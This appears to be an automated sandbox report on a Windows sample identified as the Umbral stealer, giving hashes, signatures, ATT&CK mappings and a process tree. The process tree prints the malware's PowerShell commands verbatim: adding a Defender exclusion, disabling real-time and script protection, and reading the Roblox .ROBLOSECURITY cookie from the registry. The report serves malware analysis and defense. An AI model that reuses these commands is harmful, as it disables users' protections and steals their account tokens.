Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    24-05-2024 06:55

General

  • Target

    66afbc31bf674b654e230610f0b380e0_NeikiAnalytics.exe

  • Size

    231KB

  • MD5

    66afbc31bf674b654e230610f0b380e0

  • SHA1

    0765177dfb24e77aa6c246d9ea47d919fd073052

  • SHA256

    2fbf9b1fa42bb67b2dae0ca1cf30d4d860041c2aa9109dc968df12a14686cd88

  • SHA512

    2ef785884ed621f5c67a27f428b404c284575aaf7c77bf947925b173b6496dc2c7c0ffbd8b1f1796f0c286b89e1aeafe4d5ca4d608138286383eb46da4d46449

  • SSDEEP

    6144:RloZMhrIkd8g+EtXHkv/iD4jOlqn9GuB70dP6aPLOb8e1m1/i:joZiL+EP8jOlqn9GuB70dP6aP+3

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\66afbc31bf674b654e230610f0b380e0_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\66afbc31bf674b654e230610f0b380e0_NeikiAnalytics.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\66afbc31bf674b654e230610f0b380e0_NeikiAnalytics.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2456
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3032
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1568
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2256
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:1548
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1744
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:1660

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Execution

    Command and Scripting Interpreter

    1
    T1059

    PowerShell

    1
    T1059.001

    Credential Access

    Unsecured Credentials

    1
    T1552

    Credentials In Files

    1
    T1552.001

    Discovery

    System Information Discovery

    1
    T1082

    Collection

    Data from Local System

    1
    T1005

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WHL2HQNU12X4ICAQJQJL.temp
      Filesize

      7KB

      MD5

      1c9a23bdb8cf9c801f2135f1f7e1594e

      SHA1

      eedf146476a87c74cecfde6041d912e2511138b3

      SHA256

      c41fc86dc10eb84ef29f59019c01425d52876ff23d7558ce5bf0cf578c5d12f9

      SHA512

      75a1be1525cae6082db7c9024faa808a8a5ffcf32fef0713d3723b6ba004b32a4a3950fa146851b8d914a9ecdeffcfba916a790554f7129f0831ce26551dcb39

    • \??\PIPE\srvsvc
      MD5

      d41d8cd98f00b204e9800998ecf8427e

      SHA1

      da39a3ee5e6b4b0d3255bfef95601890afd80709

      SHA256

      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

      SHA512

      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

    • memory/1744-48-0x00000000022C0000-0x00000000022C8000-memory.dmp
      Filesize

      32KB

    • memory/1936-0-0x000007FEF5693000-0x000007FEF5694000-memory.dmp
      Filesize

      4KB

    • memory/1936-1-0x0000000000FB0000-0x0000000000FF0000-memory.dmp
      Filesize

      256KB

    • memory/1936-2-0x000007FEF5690000-0x000007FEF607C000-memory.dmp
      Filesize

      9.9MB

    • memory/1936-52-0x000007FEF5690000-0x000007FEF607C000-memory.dmp
      Filesize

      9.9MB

    • memory/2456-11-0x000007FEED980000-0x000007FEEE31D000-memory.dmp
      Filesize

      9.6MB

    • memory/2456-12-0x000007FEED980000-0x000007FEEE31D000-memory.dmp
      Filesize

      9.6MB

    • memory/2456-13-0x000007FEED980000-0x000007FEEE31D000-memory.dmp
      Filesize

      9.6MB

    • memory/2456-10-0x000007FEED980000-0x000007FEEE31D000-memory.dmp
      Filesize

      9.6MB

    • memory/2456-9-0x0000000001EF0000-0x0000000001EF8000-memory.dmp
      Filesize

      32KB

    • memory/2456-8-0x000000001B680000-0x000000001B962000-memory.dmp
      Filesize

      2.9MB

    • memory/2456-7-0x000007FEEDC3E000-0x000007FEEDC3F000-memory.dmp
      Filesize

      4KB

    • memory/2508-19-0x000000001B880000-0x000000001BB62000-memory.dmp
      Filesize

      2.9MB

    • memory/2508-20-0x0000000001F40000-0x0000000001F48000-memory.dmp
      Filesize

      32KB